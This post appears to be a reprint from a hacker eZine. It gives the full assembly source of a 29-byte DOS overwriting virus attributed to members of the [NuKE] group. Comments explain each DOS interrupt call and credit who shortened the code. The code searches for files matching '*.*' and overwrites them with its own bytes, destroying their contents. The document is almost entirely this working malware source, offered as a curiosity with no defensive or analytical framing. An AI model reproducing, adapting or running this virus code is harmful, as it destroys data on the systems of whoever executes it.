29 Bytes of .ASM

eZine lover (@eZine)

Published in 

chiba city times

 · 30 Aug 2023

 
;miniscule virus by  "NoWhere Man [NuKE]" 
;originally 31 bytes long 
;modified by "Rock Steady [NuKE]" to 30 bytes 
;modified by "Analog Dog" to 29 bytes 

;dedication: to [NuKE], who now has the smallest virus ever, I think... 

virus           segment byte public 
                assume  cs:virus, ds:virus 

 
        org 100h 

miniscl3        proc    far 

start: 
                mov     ah,4Eh 
                inc     cx                    ;Rock Steady's modification 
                mov     dx,offset filespec 
                int     21h                   ;DOS Services  ah=function 4Eh 
                                              ;find 1st filename match @ds:dx 

 

 
                mov     dx,9Eh                ;offset to filename in DTA 
                mov     ax,3D02h              ;AL=1, write access 
                int     21h                   ;DOS Services  ah=function 3Dh 
                                              ;open file, al=mode,name@ds:dx 
                                              ;AX returns file handle 

 

 
                xchg    bx,ax                 ;put file handle in BX 
                mov     ah,40h 
                mov     dx,100h               ;org 100h... 
                int     21h                   ;DOS Services  ah=function 40h 
                                              ;write file  bx=file handle 
                                              ;cx=bytes from ds:dx buffer 
                retn 
filespec        db      '*.*', 00h            ;overwrites ALL files 

miniscl3        endp 

virus           ends 

 

        end start